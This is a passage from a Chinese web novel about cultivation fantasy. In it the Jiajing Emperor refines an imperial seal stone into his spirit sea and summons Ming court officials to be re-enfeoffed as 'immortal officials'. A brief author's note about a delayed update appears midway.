一个月前,嘉靖跟刘权回到宗门的第二天,果然书院的牒文通知就正式下达。 并指定了大明仙宗清理‘无情山’周围那几片荒地,对此大明这边也不耽搁。 掌门独孤英亲自出手,带着刘权和独孤雄,以及十多名练气期的弟子,前去清理荒地。 开辟战争,将大荒所有强大的古兽,斩杀的斩杀,赶往无尽山脉的赶去了无尽山脉,至于剩余的一些荒地,古兽修为最强也不过金丹。 因此掌门独孤英的修为绝对足够,更别说身边还有筑基后期的独孤雄和同为筑基期的刘权,以及十多名炼气期的弟子。 清理几片荒地,或许会因为人手数量问题,导致时间上慢些,但难度应该不大。 几人去奉命清理荒地,嘉靖自然不会跟着去,只要不是到了非动手不可的地步,嘉靖大概率是不会亲自出手的。 身为皇帝,他只需要做好会用人就行,他修仙是图长生,不是打打杀杀。 再者说,他当初加入宗派,不就是图个大树底下好乘凉的安稳吗?否则当初就应该选择去当个散修,而不是留在山寨之中。 况且,他还有更重要的事情要做,那就是将现在修炼的‘引气诀’转为‘帝经’。 这一个月嘉靖一直都在抓紧时间闭关修炼,终于在耗时一个月后,成功将‘引气诀’替换成‘帝经’独属的灵气。 “接下来,就该炼化帝玺石,铸造本命大明的帝玺了。”想着,嘉靖没有第一时间拿出帝玺石开始炼化,而是摊开手掌激发灵气。 “嘭。”不同于此前灵气缓缓出现,很是温和无害,将灵气提纯为属性灵气后,灵气出现的瞬间,充满了爆发力。 隐约间可以看到掌心之上,灵气宛若火焰般跳跃着,充斥着一股火焰独属的爆发力。内室之中的温度,也在这一刻缓缓上升。 感受着灵气的狂暴与炽热,嘉靖眉头微微皱起,而后心中一动,运转功法,不一会的功夫,原本狂暴,充斥着爆发力的灵气变得平缓。 同时内室中的温度也在这一刻缓缓下降,恢复到正常的温度,不过嘉靖还是能看到,掌中的灵气,依旧宛若火焰般仿佛桀骜不驯。 不知道是不是嘉靖的错觉,总觉得这股灵气之中,隐隐有股霸道的意味。 “因为‘帝经’是‘大昊古朝’皇族专属修行功法…还是因为我的本命是王朝?”嘉靖摇了摇头,“不重要,重要的是朕不讨厌!” “朕是皇帝,自当有皇者霸道,灵气也当如此!”看着掌心中,那似乎感受到他心意,又再次觉得自己行了,开始‘嚣张’的火属性灵气,嘉靖嘴角勾动,面容含笑。 这次嘉靖没有压制它,而是任由它开始逐渐的‘气焰高涨’灵气滚滚,室内温度暴涨。 其实这火属性灵气并非是能感觉得到嘉靖的想法,而是因为的心态上的通透。 正如他心中所想一般,‘帝经’本就是‘大昊古朝’皇族修行之法,他又是皇帝,何须藏头露尾?刻意压制自己的灵气? 皇者本就该霸道无匹,不需要顾忌任何东西。 也因此,心境上突然的豁,心随意动间竟是让‘帝经’运转也跟着加速,越发的顺畅,火属性灵气,自然跟着再次爆发。 “这就是上乘功法的特性吗?”回过神的嘉靖感受到身体中火属性灵气,沿着‘帝经’第一层行功路线,加快的速度,不由讶然。 之前观看《修行通识纪要》的时候,上面有讲过,越是上乘的功法,虽然修行速度快、体内产生的灵气也更为精纯,但也更为复杂。 不仅如此,有些上乘的功法,修炼时,修行者还需要注意心境的变化。 虽然金丹之前,修炼时对修士的心境没有任何要求,可有些底蕴深厚的大宗派,对刚开始修炼的弟子们的心境磨炼,更为注重。 因为那些大宗派弟子,炼气期修炼的功法,就不是普通宗派或者是散修能比的。 有些功法,甚至是心境上突破,还会诱发功法的特性,使功法运转速度加快等等。 很显然,‘帝经’就是如此。 因为嘉靖心境上有所豁达,心意相通间,自然而然的功法运转也加快了不少。 想明白这些后,嘉靖心中对‘帝经’也愈发的满意了起来。 “呼,”深吸一口气后吐出,平复心中所想之后,心中一动,嘉靖拿出了帝玺石。 “该炼化这帝玺石,成为帝玺了!” 功法运转,嘉靖的双手上下对叠,中间空出来的间隙中,那块如羊脂玉般,拳头大小,不规则的帝玺石正‘滴溜溜’的旋转着。 炼化,何为炼化? 书院给出的解释有两种。 第一种,通常指修行者,通过各种手段吸取外界灵物,以增强自身的修为或体质。 重点是吸收外界之物弥补自身。 第二种,修士将获得的法器、或物件与自己的身体或本命进行融合,使得法器或物件成为自己的一部分,炼化之后,可以更好地操控这些法器,以此发挥出其更大的威力或作用。 重点是对外物的使用! 比方说嘉靖吞服‘狻猊牛’的血肉,进行修炼,这就属于是第一种炼化。 现在,他要炼化帝玺石,与自身的本命融合,从而发挥出帝玺石本该有的力量,这就属于是第二种炼化。 按照《帝经·九卷》中讲述,帝玺石刚被开采出来后,需要一定时间的打磨和辅以相应的灵物进行蕴养,如此才能成为上等的帝玺石。 而嘉靖手里的这颗是‘大昊古朝’破灭之际,皇族之人用来承载‘大昊’传承的帝玺石,自然是古朝蕴养的,最上乘质量的帝玺石。 同时,帝玺石蕴养的质量越高,炼化的速度也就越快。 只能说,嘉靖很幸运! 时间推移,窗外的天色亮了暗,暗了又亮,时间匆匆,又是一个月的时间过去。 随着‘帝经’运转,嘉靖双手间炽热的灵气,似乎包裹成了一个高温的火炉。 同时嘉靖脑海中的本命大明也再次一次发出阵阵波动,荡起层层涟漪。 再看嘉靖双手中间的帝玺石,也从开始的拳头大小,变成了鹌鹑蛋大小。 识海中,本命大明上空,道道金色的涟漪从四面八方汇聚于一点,一段段金色流光环绕的拳头大小光团,像是会呼吸一般收缩又舒张。 “嗡,嗡,嗡!”金色光团不时的荡出一层金色的涟漪,随着时间的推移,涟漪荡起的频率也越来越快,越来越密集。 像是有什么东西在酝酿其中。 修行无岁月,日升月又落,嘉靖身旁储物袋里,存储的将近万两灵源,不断的涌入他的身体中,而后被‘帝经’转换为精纯的火属性灵气。 而后这些灵气又源源不断的汇聚于双手之间,原本鸽子蛋大小的帝玺石,此时已经变成了米粒大小,识海中,本命大明上空的那金色的光团,也变得越来越大,已经有拳头大小。 一开始不断荡出的金色涟漪,此刻已经不再波动,取而代之的是宛若心跳一般的“咚咚”之声,在识海中不断的跳跃。 终于,不知道过去了多久,嘉靖双手之间那米粒大小的帝玺石,终于化作一道光点消散。 几乎是在那米粒大小的帝玺石消散的瞬间,识海中本命大明的上空,金色光团陡然爆开,霎时间整个识海被璀璨的金色渲染。 一整个识海,变得前所未有的明亮。 “唰!”此时,嘉靖的意识出现在识海中,打量着眼前大变样的识海,眼神中有惊异之色浮现而出,这个识海像是一方宇宙一般。 那些金色浓郁处,像是星云,又像是粘稠禁止的星河,其中仿佛掩藏着一颗颗璀璨,大小不一的星辰,看起来如梦似幻。 不过可惜的是,宛若金色宇宙的识海中间,那座仿佛漂浮在沙盒上的本命大明依旧灰雾蒙蒙的,除了早就没有了的黑气外,毫无变化。 “或许,只有等到本命跟本命物彻底绑定后,本命大明周边这些灰败之物才能驱散吧。” 压下心中想法,紧跟着嘉靖的目光,看向本命大明上空漂浮着的那颗‘滴溜溜’旋转的,拳头大小的帝玺石…确切的说是帝玺! 心念一动间,嘉靖抬手,帝玺缓缓飞来,落在他手心之上,然后幻化成一块四四方方的,嘉靖再熟悉不过的一枚玉玺。 而在玉玺的下方则是熟悉的几个字: “奉天承运大明天子宝。”看到这几个字后,嘉靖心中一动,下一刻就见玉玺底下的字迹开始变动,转为另外几个字。 “大明受命之宝!” 对此,嘉靖并不陌生,就他所知,自己有七方玉玺,每一方都有着不同的用途。 奉天承运大明天子宝。此玺用于象征皇帝的天命所归和皇权正统。而“大明受命之宝”,此玺用于强调受命于天的意思。 之后是“巡狩天下之宝”用于皇帝巡游天下时的诏令和文书。 而第四方玉玺,“垂训之宝”,用于颁布皇帝的训诫或教诲。第五方玉玺“命德之宝”,用于彰德行高尚,功勋卓著的臣民。 第六方玉玺,“讨罪安民之宝”,用于征讨叛逆、安抚民众,颁布圣旨所用。 第七方玉玺,“敕正万民之宝”,用于对大明所有百姓,进行敕令和教化之用。 当然,此外还有其他一些玉玺,随着嘉靖心念转动间,帝玺底下的刻字也跟着变换。 “呵,”把玩了好一会,嘉靖不由轻笑出声,他这才发现,原来自己除了常用的七方玉玺之外,还有很多其他用途的玉玺。 一共细数下来,竟然多达十几种。 “如此朕以后盖章,倒是不用专玺专盖了,有这颗帝玺随时变换,倒是方便……”轻笑一声后,嘉靖手拿玉玺,目光看向眼前的本命大明。 刚才帝玺落入手中的瞬间,嘉靖的脑海中,冥冥中也明悟了帝玺配合本命的一些使用之法。 基本上跟他从《帝经·九卷》中了解到的,帝玺石炼化之后的功效差不多。 其中最重要的是,他可以通过帝玺对朝中官员进行敕封盖印,如此一来所有官员识海中的本命,也将被帝玺赋予官身。 更为重要的是,按照《帝经·九卷》所讲,在炼化帝玺后,他就可以与本命沟通了。 “也就是说,朕现在就能与大明之人沟通对话了……”想着,嘉靖来不及多想,他已经迫不及待的想要试一试了。 大手一挥,嘉靖的意识来到玉熙宫,灵田小院旁边开出来的园子里,看到了修炼的吕芳。 此时,修仙世界这边是黑夜,大明自然是白天,心中一动,嘉靖开口道: “吕芳。” 正在修炼的吕芳,突然听到耳边响起的声音,双眼猛的睁开,“主子?!”下意识的,他的目光看向玉熙宫,“主子出关了?” 对于嘉靖的声音传到耳边,他似乎并不意外,在他心里,主子神通盖世,传个音怎么了? “果然可以!” 看到这一幕,嘉靖眼底有笑意浮现。 之前海瑞在大同的时候,还抱怨他怎么不直接跟自己交流,还要用写信的方式交流,现在他真的可以通过本命,实现两界对话了。 眼看着吕芳起身要去玉熙宫,嘉靖定了定神,然后继续开口道: “不必前来,朕没有出关。” 听到这话,吕芳一怔,而后顿时像是想到了什么,当即跪在地上,虔诚道: “奴婢恭喜太上大罗天仙/紫极长生圣智昭灵/统三元/证应玉虚/总管五雷大真人/玄都境/万寿帝君,主子陛下修为再做突破!” 看着吕芳这一副表现,心情大好的嘉靖,脸上笑容也跟着浮现而出。 “好奴婢,起来说话,”宽慰一声吕芳后,想到接下来要做的正事,嘉靖继续道: “听好了,朕有个差事要你去办!” “请主子示下。”吕芳恭敬欠身,等待着嘉靖的示下。 “你明日便让内阁,裕王和景王这些人,来灵田小院旁的院子里等候,让他们拿着自己当初的任命敕书…朕要给他们重新盖章!” 给内阁和二位王爷重新盖章? 听到嘉靖这话,吕芳不由的一愣,不过还是立刻道:“是,奴婢遵旨!”虽然不知道主子要干什么,但他还是会选择照办。 “……” 第一百二十九章 严党、清流:皇上要给我们重新盖章?惊,敕封仙官! “朕的小国师,也不要忘了。”吩咐完吕芳之后,嘉靖突然又道。 “是,奴婢不会忘记。”吕芳欠了欠身,表示自己明白,而后突然像是想到了什么,道:“主子,那个海瑞是否也要通知?” “京师,凡是知晓修仙之人,全部在小院等候。”想到接下来要给这些人的本命赐下官身,嘉靖也懒得再一次次盖章。索性将已经知晓修仙之事的人,全部给一次把章盖了。 以后朝廷的官身,将更为珍贵。 “是,奴婢会安排好,”说着,想到主子没有说明日的具体时间,吕芳又道:“不如就明日午时?主子以为如何?” 之后,见嘉靖没有再出声后,吕芳这才缓缓直起腰,然后起身出了自己闭关修炼的小院。 吕芳的办事效率很快。 不一会的功夫,宫里的消息传出,而后严党和清流,全都收到了黄锦亲自通知的消息。 严府,书房之中。 “爹!”严世蕃“嘭”的直推开门走了进来,对着坐在桌前,翻腾出自己当初入阁的敕书的严嵩,道:“宫里是什么意思?” 他刚把黄锦送出去,立刻就折返了回来。 面对儿子的疑问,严嵩没有第一时间开口,只是盯着手上那份敕书,而后突然哼笑着看了眼严世蕃一眼,然后挺直腰板,念道: “大明皇帝敕命!” “朕惟治世之要,在于得人。 辅弼之臣,尤须慎选。兹有朕之股肱重臣,严嵩,字惟中,江西分宜人氏,才德兼备,学识渊博,历仕有年,功绩卓著。” “自严嵩入仕以来,克己奉公,勤勉不怠,于国事多所建树。其于政务之处理,皆能洞悉机要,决策英明,深得朕心。” “且严嵩为人忠厚,品行端正,为朝野所敬仰。” 听到这里,严世蕃脸上也不由跟着露出笑容来。 老爹为人忠厚,品行端正,还朝野所敬仰?这个时候想来,怕是被人给恨死了吧? 嗯,不过那个时候的老爹,确实没什么坏事。 严嵩继续念着。 严世蕃也不急着让老爹回答自己的问题,而是拉过一张椅子,坐在了老爹的对面。 “今朕观朝局,亟需贤能之士以辅弼朕躬,共理天下……即日起升任内阁首辅之职,总理朝政,辅佐朕躬,以安社稷,以慰苍生……” “钦此!” 一份敕寥寥几百字,严嵩也是越念越开心,脸上的笑意也越发的浓郁起来。 当最后‘钦此’两个字出口,严嵩抬起手轻轻抚摸着敕书,神情间颇有复杂之色。 “上了年纪了,就容易缅怀过去。”严嵩说着,合上敕书,微吸了一口气,这才抬头看向儿子严世蕃,“皇上的想法,我也看不透。” “不过皇上既然这么安排了,那我们照做便是。” “总不会是要给所有人换新吧?”严世蕃皱着眉头,他现在是越来越看不清皇上的心思了。 “皇上得仙人赐法,踏上了仙途,一举一动必然有他的深意,若非要说个可能的话,只怕是也与未来仙朝有些关系了……” “也只有如此了,我听黄锦说明日就连裕王跟景王二位殿下也要去,”严世蕃说着突然鬼使神差的道了一句,“不会是敕封仙官吧?” 说着,严世蕃的呼吸也不由变得急促了起来,“爹,大明未来是要发展仙朝的,这个时候让我们拿着敕书,怕不是要封仙?” 严嵩抬了抬耷拉着的眼皮。 嗯,他也被严世蕃这个大胆的猜测给说的心头一怔,不过他到底老成持重,没有太过激动,只是缓声道:“明日就知晓了。” 不过此时,严世蕃却听不进去了。 嗯,自从知道大明有仙人,还赐给了皇上修仙之法,景王也修仙,他们还得到不少只有修仙者才食用的灵物,他的心就越发活泛了。 但凡是有丁点的,跟修仙有关的念头,都能在他心里,激起不少的波澜。 现在,皇上突然下令,让所有人拿着自己官职的敕书,明日午时去玉熙宫,他自然是往自己最希望的那方面去想了。 在小阁老严世蕃看来,他的这一番猜测,其实很有道理的,为啥?大明日后可是仙朝啊! 既然是仙朝,那他们这些官员,岂不就是妥妥的“仙官”了? 朝廷要封仙,那肯定是从上到下啊! 第一批人,自然是二位殿下跟他们这些内阁诸老了…所以如此推断,非常有可能。 不得不说,小阁老的脑洞确实很大。不过倒也不能怪他脑洞大,实在是突然让所有人带着当初的封官敕书入宫,想不通还有什么事。 看着已经完全陷入自己的世界,不可自拔的儿子严世蕃,严嵩微微摇头,不再说话。 一双浑浊的老眼看向窗外,心中也不禁暗自猜测了起来,皇上此举背后的深意。 突然而来的命令,不光让严嵩父子有些摸不着头脑,心中暗暗的各种揣测,此刻清流一方也是一脑袋雾水,不知道皇上要做什么。 “五个多月了,父皇一直在闭关,”裕王府,裕王手指搭在椅子的扶手上,轻轻敲击着,“我跟老四这几人入灵田小院修炼也不见。” 听着裕王如此说,徐阶、高拱、张居正,嗯还要加一个裕王府詹士王用汲都认真听着。 “也未曾听说父皇有什么安排,此事来的太突然了,”裕王说着,微微摇头,“不过,”说着,在众人的注视下,裕王看向王用汲。 坐在最末尾的王用汲见自己突然被裕王注视,还有其他人都看向自己,心中一紧。 嗯,虽然他现在融入到了裕王府的核心圈子,还知晓了如今朝中的最大机密,但在王府议事,他能说的上的话实在是有限。 如今突然被众人注视,心中说没压力是假的。 “黄锦公公倒是问了本王,明受是否知晓修仙之事……”裕王环视众人一圈说道:“得到答复后,便说让明受也一同入玉熙宫。” “如此说来,”张居正轻轻捏着须,沉吟道:“明日午时入宫,定是与修仙有关了。” 既然提到了修仙,还让王用汲也入宫,那明日之事,很大可能与修仙有关了。 “让我不得其解的是,为何要我等带着当初的封官敕书……”赵贞吉也跟着开口。 赵贞吉问出了所有人心中的疑问。 修仙,跟他们的封官敕书,有什么关系? “会不会是……”这时,王用汲突然开口,不过说着见高拱要开口又闭嘴。 “你先说吧。”高拱见王用汲有猜测,微微颔首示意他先说,神情间略有和善。 对王用汲,高拱还是很欣赏的。 此人与海瑞是好友,也是难得的,能坚守本心的清廉官员,在高拱看来是个可用之人,重点是,此人或许可以在未来成为他的心腹。 经过上次的事情,高拱算是看出来了,他们虽然都属于裕王一系,可内部也是各有山头的。 他原以为,自己跟张居正是一路人,可张居正对徐阶的态度,让他意识到,自己也需要有自己的班底和派系才行。 未来的大明,疆域必然会无限之大。牵扯涉及的利益,派系也会越发的复杂多变。 他也必须要提前未雨绸缪才是。 而他们清流派系内部的人,赵贞吉就是个滑不溜秋的泥鳅,心中有着自己的打算,跟谁也不亲近,张居正跟徐阶有师徒之实。 只有自己,孤军奋战,这个王用汲跟海瑞是挚友,又得到裕王的器重,或许是个可用之人,也是因为如此,他才会对王用汲释放善意。 高拱的性子很直,火爆,但不代表他不懂的为官之道,此前他跟徐阶等人是利益共同体,敌人是严党,想的是倒严,矛盾还没有。 但现在,彼此已经有了自己的打算。 为官者思变,即便他们现在还是裕王麾下,可在场的都是官场的老油子,都看得分明,未来大明疆域扩张,仙朝发展,利益之争会更激烈。 甚至,人人修仙长生,会演化为派系之间,动辄数百年,上千年的争斗。 一切打算都要提前布局。 “这里都是自己人,王府议事,无需太过拘谨,可畅所欲言,”裕王此时也跟着笑道:“明受有什么想法,可尽情道来。” “是,”见众人都看向自己,高拱和裕王都让自己先说后,王用汲也不再迟疑,在众人的注视下,开口道:“封官敕书,事关官身。” “如今大致可以确定是与未来仙朝有关……”说着,想到自己心中的猜测,王用汲强行压下自己心中的想法道:“那么,皇上是否要赐予我们官身?” 赐官身?听到这话,众人一愣,有些没反应过来王用汲的意思。 见众人没有明白自己的意思,王用汲干脆道:“我是说,位列仙班,仙官之身!” “轰!”在王用汲话音落下的瞬间,众人只觉得的脑子当场一懵。 不是他们想不到仙官,位列仙班,实在是他们谨慎惯了,没有王用汲这种‘脑洞’。 嗯,这个想法,太大胆了! 不可能,这怎么可能呢?大明现在可还不是仙朝呢!位列仙班什么的,是不是太早了?这年轻人,是不是太异想天开了些? 众人心中第一想法就是否定。 可王用汲的话,就像是有魔力一般,让他们心头这个想法,止不住的往出冒。 一时间,心脏不由的‘嘭嘭’直跳。 “若是真的让我等位列仙班,敕封仙官,那本王岂不是就是…仙王?!”裕王此时也是心头一片火热,仙朝的王爷,可不就是仙王? 位列仙班会如何?会长生不老吗? 此刻,不管是裕王,还是徐阶等老狐狸,虽然面上依旧平静异常可,心里却已是思绪飘荡。 嗯?怎么都不说话了?王用汲,见自己的一番话,直接把众人给干沉默后,心里有些忐忑。 我就是大胆的猜测了一下,至于吗? 嗯,王用汲有些无辜,不过他更想不到的是,自己竟然会跟小阁老的脑洞频率对上了。 海府,海瑞的书房里。 海瑞看着自己吏部尚书的封官敕书,也是眉头紧锁,不明白皇上的意思。 “莫非是要敕封仙官?”海瑞想着,微微摇头,“应该不是,大明距离仙朝还远……” “若是敕封仙官,怎么也要宣告天下,然后择吉日,史官记录,且必须在奉天殿举行朝会,而且此前还要重新拟定律法等等……” 想着,海瑞深吸一口气,暗道:“若是皇上他真的好大喜功,要提前敕封仙官,我定是要劝谏阻止的,太快了可不是什么好事!” 嗯,也就严党和清流不清楚海瑞想法,否则绝对会‘吐血’,大骂这人搅屎棍。 总之,不论宫里突然下达的命令什么意思,但不论严党还是清流,都想到明日之事,可能事关仙朝,所有人的心绪都有些不宁了。 倒也不怪他们会如此。 所谓伴君如伴虎,再怎么小心谨慎,心中提前想好各种可能的对策,准没有坏事。 越是在乎什么,就越是忧心忡忡。 终于,在所有人的忐忑,期待,怀疑的等待中,时间来到了嘉靖四十一年,六月二十。 “庚午时,冲鼠煞北,”严府堂内,早已身穿绯红官袍,头戴乌纱的严世蕃,手里拿着一本皇历,抬眼道:“爹,今天跟您相冲……” “喜神在西北,”见老爹不说话,只是慢吞吞的让丫鬟伺候着穿戴着衣袍,严世蕃又看了些方位,脸色喜道:“西苑就在西北。” 说着,严世蕃又拿起皇历,看向诸神方位念道:“财神正东,福神西南。” “走吧。”严嵩也不理会严世蕃,接过丫鬟递来的乌纱帽,当先出门,严世蕃一愣,迅速低头看了眼皇历上的“宜忌”,只见下面写着:宜赴任、起伏、求子、求财、安葬…… 出门看皇历的习惯,自从上次皇上的考验过后,但凡有摸不准皇上心思,又突然被叫入玉熙宫,严世蕃都会拿出皇历看一看。 不过严嵩却不在乎这些。 大风大浪这么多年了,他可不信这些。 要是出门靠看皇历决定出行,求心安的话,他也不会在官场沉浮这么多年了。 上次“冲鼠煞北”是因为皇上需要,让他配合着唱一出戏而已。 大明是要发展仙朝的,这世上是有仙人的,皇上也是修仙的,他未来会是仙朝仙官,若是有野神,敢干涉他的命运,那是自取灭亡。 所以,在大明,不论过去还是未来,他只需要在乎一个人的想法,那就是皇上。 皇上才是大明的天! 这一日,天气大晴,天穹之上万里无云,清流和严党两派还有海瑞,王用汲等人,早早的便来到了西苑宫墙下的阴凉处等待了起来。 不一会裕王跟景王到来,众人见礼,互相寒暄客套一番后,便怀着忐忑好奇的心入了西苑。 “奴婢见过二位殿下,”来到玉熙宫后,黄锦早早的便在等候了,先是对裕王跟景王行了一礼后,这才笑着道:“主子有旨,让大伙在灵田小院旁的的院子里等候……” 听到黄锦直言不讳的当众说出“灵田小院”四个字后,裕王跟景王不由对视了一眼。 灵田小院虽然在内阁高层中,不是什么秘密,可毕竟父皇从未对内阁之人提过。 也因此,就算内阁知晓灵田小院的存在是供皇室修仙之所,也只能当做不知道。 最多也只敢在私下里王府议事的时候提起,可是现在黄锦毫不避讳的说出口,这说明了什么?说明父皇不打算对内阁隐瞒了? 他们可不认为黄锦会在这种事上犯糊涂。 站在裕王跟景王身后的严嵩,严世蕃,徐阶,高拱等人都是心中一怔。 之前心中的那个猜测,不由的再次涌上心头,莫非真的要敕封仙官?! 今日起,他们就是仙朝的仙官了?! 一时间,众人下意识的抓紧手里的盒子,那里头装着的是他们的封官敕书。 海瑞眉头深锁,心中并不激动。 他认为,现在并不是敕封仙官的时候!嗯,他已经决定了,若是皇上真的要封仙,他一定要劝谏,让皇上忍耐,切勿好大喜功! 为此,哪怕是遭皇上厌恶,他也在所不惜。 皇上是君,是父,他海瑞食君俸禄,为君父分忧,更是得到了皇上赐下的修仙资源,既然承了这份恩情,他就要事事为君父着想! “带路吧。”裕王压下心中猜测,开口对黄锦抬了抬手。 灵田小院旁边的园子,他自然不陌生。 父皇闭关修炼,他们无法从玉熙宫入灵田小院修炼,所以只能通过旁边的园子入灵田小院。 这些对他们来说熟悉,但对内阁众人来说,还是很陌生的,关于玉熙宫的一切,可都是绝对的机密,没有任何人可以泄露。 很快,众人便跟着黄锦,来到了玉熙宫后的小院,看到了已经在院子里等候的众人。 此时小院里,吕芳独自站在小院通往灵田的院门前,而在他对面站着的则是司礼监的陈洪、石三,以及一袭青色道袍的国师清风。 “见过二位殿下。”看到裕王跟景王到来后,包括吕芳在内的所有人纷纷见礼。 “诸位不必多礼,都起来吧。” 裕王依旧是一副平易近人的模样,身旁的景王也是面露笑容,虚抬了抬手。 不管怎么说,裕王都是兄长,所以他该遵守的礼节还是要遵守的,不能逾越。 “吕公公,国师……”裕王跟景王上前一步,对吕芳露出和善的笑容,而后又对一旁只有十七岁的少女国师点了点头示意。 对吕芳,虽然是奴婢,可他们都知道,吕芳已经是一名实打实的练气一层修仙者了。 他们虽然是皇子,也修仙了,可依旧不算是真正的修仙者,自然不会盛气凌人。 至于对清风另眼相看,完全是因为他们摸不准这位小国师,在父皇心里的地位。 所以每次见到,都会礼遇有加。 “吕公公,父皇可出关了?”这时,景王率先开口询问起来。 提起皇上,严嵩等人都竖起了耳朵。 “不,主子依旧在闭关中,”吕芳微微摇头,而后看向裕王和景王,同时目光环视在场众人,道:“诸位,封官敕书可到了?” “回吕公公,我等已经将敕书带来。”这时,严嵩率先开口,不紧不慢的双手拿起装着他的封官敕书的盒子。 其他人也跟着严嵩这位内阁首辅有样学样,纷纷举起自己手里的盒子。 此时,众人已经自动分为三列站定。 左侧是司礼监的陈洪、黄锦和石三。 右侧是内阁的严嵩、徐阶、高拱、严世蕃、张居正和赵贞吉。 中间最前方的是陆炳、海瑞,王用汲三人。 至于清风,则是在吕芳的安排下,站在了吕芳的身边,跟裕王和景王站在一起。 这个站位,让众人看向清风这个少女国师的眼神中,又多了几许不明意味。 这一幕,严世蕃自然是高兴的溢于言表了。 清风这丫头,可是他们严家的人,全天下都知道,最重要的是这层关系并未断。 虽然清风可能已经知道了严家在朝野是什么名声,不过用这丫头的话说,就是山下人自有生存之道,她并不在意。 瞧瞧,这才是真正高人的处世之道。 不拘泥于世俗的身份,并理解山下的生存之道,果然不愧于清风玄灵守真慧悟真人之尊号。 要不然怎么说,清风丫头能那么受宠呢,看看如今,已经能跟吕芳、二位殿下站一起了。 徐阶等人看着这位少女国师,也只能心底暗叹,严党幸运,得天眷顾。否则,凭什么他们送个少女国师,就能如此受宠? 吕芳自然无心理会众人心中什么想法。 满意的点了点头后看向众人,开口道:“主子是什么身份,想必诸位心里早有分寸。” 听到吕芳如此说,在场所有人,这一刻都不由的在心中一怔,而后暗暗点头。 他们知道,吕芳接下来,就要说出皇上让他们前来的真正目的了。 之前心里想的,敕封仙官一事,也不由的在每个人心头,不由自主的升起。 就连严嵩,此刻也不由的眸光闪烁,心中暗道:“难道,真让世蕃说中了?” “封仙,位列仙班,长生不死!”严世蕃拳头攥的紧紧的,呼吸都不由的压低。 清流一方,徐阶,高拱、张居正等人,此刻虽然面上平静,可捧着敕书盒子的手,却是下意识的用力,只觉得头皮有些发麻。 一想到那个可能,浑身都不由的微微发颤了起来,朕的会是要提前敕封,仙朝仙官吗! “今日让诸位带着当初的封官敕书而来是因为……”随着吕芳开口,众人的心也不由提到了嗓子眼,将众人反应看在眼里,吕芳心头一笑,道:“主要是为了为诸位重新敕封官身。” 重新敕封官身?! 为什么要重新敕封官身?还用说吗,真的是要封仙,敕封仙官! “大明是要成为仙朝的,敕封部分仙官,自然也是要提前了,主子稍后便会降下无上仙力,为诸位敕封仙官,嗯,官职不变。”吕芳声音平淡,可听在众人心头,却不亚于一道惊雷! “轰!”果然,包括裕王跟景王在内,所有人只觉得大脑瞬间遭到了重击,出现短暂的空白。 下一刻,任何人都绷不住了! 真的是敕封仙官! “……” 今天遇到点事,忙的晚了,饭都没吃,第一更晚点了,抱歉哈,我吃个饭,回来继续更新。 接下来,就是大家最喜欢看的显圣了,嗯,小剧透一下,这只是个开始,后面高潮一波接一波~~~ 第一百三十章 封仙,万寿帝君显威,本命一览无余! “呼,呼,呼。”随着吕芳话音落下,小院子里不由的响起一道道粗重的呼吸声来。 仙朝的王爷,仙王! 仙朝的大臣,位列仙班! 此刻裕王跟景王心头想的是,他们会是仙朝的王爷,那岂不就是仙王了? 若是争夺储君之位,那就是仙朝太子! 仙朝啊,虽然父皇已经说过了,大明未来是一方伟大的仙朝,他们也为此而部署,努力着,可他们从未想过这一天离他们会如此之近。 而对于严嵩,徐阶,高拱等人来说,此刻同样是心情激荡不已。 此刻他们的脑子里也只有一个想法,那便是位列仙班。 即便现如今的大明,只是一个凡人王朝,还不是一方真正的仙朝,但那又如何呢? 只要他们现如今得到皇上的承认,被皇上敕封官身,那么他们就是仙朝的仙官! 有了这个官身在,不论未来如何变,他们都有了一层保障,名分,最终是要昭告天下的! 况且,君无戏言,既然皇上敕封官身,那只要他们在未来仙朝发展路上不犯错,他们也迟早会有一天成为真正的仙人,长生不死。 最重要的是,现如今皇上敕封他们仙官的官身,说明皇上已允许他们参与修仙了。 试问,他们心中如何能不激动? “圣明天纵,无过帝君,臣等谢吾皇垂怜,愿吾主帝君,圣寿无疆,仙体躬安!”随着小阁老严世蕃一步踏出,高声跪地拜伏,紧跟着清流一方也纷纷跟着跪在地上,大声附和。 从知道皇上得仙人赐下仙法的一刻开始,他们心中就期许着,被皇上赐下仙法。 即便那日,皇上赐予了他们‘仙丹’、还有‘仙果’,让他们的身体健朗,病灶全消,那‘仙果’服用后更是有延年益寿功效。 但只要皇上一日不对他们言明修仙之事,那么他们的心,就一日无法安定下来。 虽然景王和裕王殿下,都已经对自己的心腹之臣言明确有仙法,且不断的赐下各种灵物,这些,只有修仙者才能使用的灵物资源。 虽然二位殿下的行为,让他们明白,只有跟着他们才能得到真正的仙缘。 但他们同样心里明白,名正方能言顺的道理!不论裕王跟景王殿下二人如何的赏赐各种灵物资源,都抵不上皇上一句话! 只有皇上对他们言明了修仙之事,他们才能真正的打心底放下心来。不为别的,只因为这大明王朝,始终都是皇上一个人说的算的。 就算是二位殿下,在他们看来,也必须要如履薄冰,若是触怒了皇上的底线,那么即便是二位殿下,也会被皇上顷刻间废黜! 一个修仙的皇帝,他的未来是无懈可期的,他拥有无尽的岁月。 因此,皇上的妃子也会越来越多,他的孩子也会越来越多,国之储君的人选也有很多! 这些他们从来没有对景王和裕王说过,担心这二位殿下心态上会稳不住。 当然,他们也有自己的小心思,那便是目前他们只能紧紧跟随在这二王身边。 因为他们谁也不知道,皇上的下一个子嗣会在什么时候诞生?如果是几十年后,几百年后诞生的话,这期间他们还是没有被赐下仙法。 那这期间,他们能指望的只有二王! 这一点,徐阶、高拱、张居正等人清楚,严嵩父子心里也清楚,这是数十年官场浮沉,他们这些老谋深算之人最基本的城府。 因此,他们一直以来都只能将心底那份渴望深深的埋藏从不宣诸于口,从不表现出来。 此刻他们终于得到了皇上的认可。 皇上终于肯对他们言明修仙之法是确实存在的了。 虽然皇上依旧没有说要赐予他们仙法,但是有了这一层仙官的官身身份在,就意味着皇上要用他们了,他们有了另外一个选择。 那就是从此前,只能靠着的裕王跟景王,变成了,完全靠着皇上! 对,没错!皇上必然是长生不死的! 只要他们牢牢的靠着皇上,那就会立于不败之地。 如此,即便未来有一天二位王爷有变的话,那么他们也不会因此而没了希望。所以,这个仙朝的仙官官身,何其重要,可见一斑! 视线缓缓拉远。 嘉靖自然是将小院中,所有人的表现,看的清清楚楚,自然也明白,严嵩和徐阶这些老狐狸心中那一点小心思。 而这也恰恰是他想要看到的! 现在的内阁所有人,完全就是指着裕王和景王两个人。 而自己要的局面是清流和严党,或者确切的说是裕王和景王这两个儿子之间的平衡。但同时也要保证,这些臣子永远效忠的是自己。 